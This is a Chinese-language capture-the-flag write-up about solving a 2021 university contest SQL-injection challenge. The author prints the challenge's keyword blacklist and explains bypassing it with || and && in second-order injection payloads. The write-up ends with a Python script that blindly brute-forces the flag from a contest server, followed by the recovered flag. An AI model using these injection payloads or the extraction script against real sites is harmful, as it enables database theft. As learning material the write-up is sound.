记二次注入与报错注入结合的一次Sql注入

前言:

该文章首发于https://sleepymonster.cn

这是一道2021年暨南大学新生赛决赛的题。

当时的战况是我在赌一把,如果我做出来了,我就能拿到二等奖

可惜网络不给力,在脚本没变的情况下,第二次才跑出来。

但是已经超时5分钟了,所以等于我一道题没做出来。

(签到题后面才发出来的,每人后面都做签到题)我赌了一把,失败了😭

代码审计

比赛时早上9点开始的,有二道题。

image-20211207182138983

继续看看描述吧~(里面的Hint是太难了陆陆续续发出来的,后面再说)

image-20211207182248387

拿下来之后是一个登录框+添加邮箱📮。

意思就是你先注册了,然后登陆之后呢可以添加你的邮箱。

因为存在几个页面,开始代码审计的话用PHPStrom方便点

根据题目mediun-sql这是道SQL注入题

找到了存在注入的地方了。(也就是找查询语句)

image-20211207182615152
image-20211207182647578

发现就是插入以及查询,基本判断就是二次注入,接着我们来看waf

public function waf($value): bool
    {
        $blackList = array(' ', '^', '#', '*', '/', '-', ';', '!', '~', '<', '>', '?', '=', urldecode('%00'), urldecode('%09'), urldecode('%0A'), urldecode('%0B'), urldecode('%0C'), urldecode('%0D'), urldecode('%A0'), '+', '`', '"', '\', '()', 'or', 'and', 'between', 'insert', 'update', 'xml', 'delete', 'into', 'union', 'file', 'extractvalue', 'if', 'substr', 'hex', 'bin', 'ord', 'ascii', 'sleep', 'medium');
        foreach ($blackList as $item) {
            if (stripos($value, $item) !== false) {
                return false;
            }
        }
        return true;
    }

并且可以发现不管是登陆 注册 以及添加都是要过waf的。并且这个waf还不是一点点。

联合注入?NO

image-20211207183220802

随手添加几个的话,我想的是能不能通过联合注入把里面的flag包含出来

发现ban了union等根本不可能!!!

之后我就发现了个问题,因为空格也被ban了,所以只能一层层括号来弄

大概到中午11点左右,放出了第一波Hint

image-20211207183612360

后面那句话引起了我的注意 全部权限任何人都拥有??

难道是通过SQL来执行命令从而获取权限。

灵感来自:https://www.freebuf.com/sectool/164608.html sqlmap下的访问文件系统

但是不对呀?flag存在数据库中,那么应该~

继续尝试,我还以为可以把查询弹到服务器接收啥的(maybe DNS?),但是没有总的来说啥头绪。。

同义词绕过?不同页面进行判断?

直到我翻到了大佬的博客

发现 ||&&没有被禁止!!

这个地方是不是注入了?赶紧尝试下!

先注册一个账号叫做xiaoming

接着注册一个账号叫做xiaoming'||'1

进去之后会发现能把所有的email和time全部查询出来!

// 构成的payload

SELECT email,time FROM email where username = 'xiaoming'

SELECT email,time FROM email where username = 'xiaoming'||'1'

这个时候放出了第二个Hint

image-20211207184932888

我直接无语😓,新大陆直接没啦!

但是看样子是要爆破table的,然后我就开始着手查询资料

到这里sys.xxxx经过谷歌是发现必须要权限才能访问,与第一个hint照应了!

然后我在安全客成功翻到了对应的文章!https://www.anquanke.com/post/id/193512

这个时候我的思路基本成型了。

也就是通过&&来判断页面。

例如我先注册的xiaoming如果加上&&仍然能回来对应的注册邮箱,那么就是对的

如果返回回来是空的那么我的sql语句就是执行失败的

从而写脚本来跑数据库名称。我正开始写呢。还是没人做出来

第三波Hint出来了,这下好了,不用写了,直接给你了数据库名称。

具体的脚本我放到下面,思路都是一样的,具体要变的地方看看安全客的怎么写的就好了。

因为我的数据库是没有sys的所以只能根据安全客的截图以及他给的截图来写。

image-20211207185557332

写脚本爆破Flag

思路我在上面已经写出来了

在这里再丰富下吧。

这个时候我的思路基本成型了。

也就是通过&&来判断页面。

例如我先注册的xiaoming如果加上&&仍然能回来对应的注册邮箱,那么就是对的

如果返回回来是空的那么我的sql语句就是执行失败的

同时我们要绕过waf,所以空格的替换,必要的关键册的替换都得安排上

以及你写的语句是不是对的,本地查询试试就好了

import requests
import hashlib
import random

from tqdm import tqdm

# 这里的字符顺序是有讲究的
# 因为我们要用上like所以最后用下划线_垫尾
# 其次因为flag说了38位,除了flag{}就32位数 多半是个md5加密
# 然后的话一般提交小写所以顺序如下小写+数字+大写+下划线
CharacterSet = 'abcdefghijklmnopqrstuvwxyz0123456789{}ABCDEFGHIJKLMNOPQRSTUVWXYZ_'
# 这里是个payload的注入例子
payload = "xiaoxin'||(select(mid(group_concat(flag),1,2))from(c1c7fbbb74d0d43101a2814ade767362))REGEXP'fl"

# 进行注册
# 其实注册你只要测试了能注册成功就行了
# 重新跑的时候也不会有影响
def registered(payload):
    one = hashlib.md5(str(random.random()).encode('utf-8')).hexdigest()
    headers = {
        'cookies' : f'PHPSESSID: {one}'
    }
    url = 'http://35.220.149.77:16034/register.php'
    datas = {
        'username':payload,
        'email':'[email protected]',
        'password': 'aa123123',
        'confirm': 'aa123123'
        }
    r = requests.post(url,data=datas,headers=headers)
    return r.status_code

# 登陆判断包大小
def LogIn(username, password):
    session = requests.Session()
    url1 = 'http://35.220.149.77:16034/login.php'
    datas = {
        'username':username,
        'password':password,
        }
    r = session.post(url1,data=datas)
    url2 = 'http://35.220.149.77:16034/index.php'
    r = session.get(url2)
    return len(r.text)

# flag{98dca52f6a770b8100cca1a478061743}

flag = ''
length = len(flag)
while len(flag) <= 38:
    for x in CharacterSet:
        x = str(x)
        payload = f"xiaoluo'&&(select(mid(group_concat(flag),1,{length + 1}))from(c1c7fbbb74d0d43101a2814ade767362))like'{flag + x}"
        registere = registered(payload)
        res = LogIn(payload, 'aa123123')
        print(f'{res} -- {flag} -- {payload}')
        if 4000 > int(res) > 2000:
            flag = flag + x
            length += 1
            print(flag)
            break
print('Mission Over')

这里说一下战况吧,在没看到最后一个Hint之前我是连前4位已知的都跑不出来

image-20211207190731436

加了headers之后第一次跑完了没成功,检查之后发现前30位都是对的,马上从30位开始跑

可惜已经结束了比赛,上完厕所回来,flag出来了,但是比赛已经没了!哎😮‍💨

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>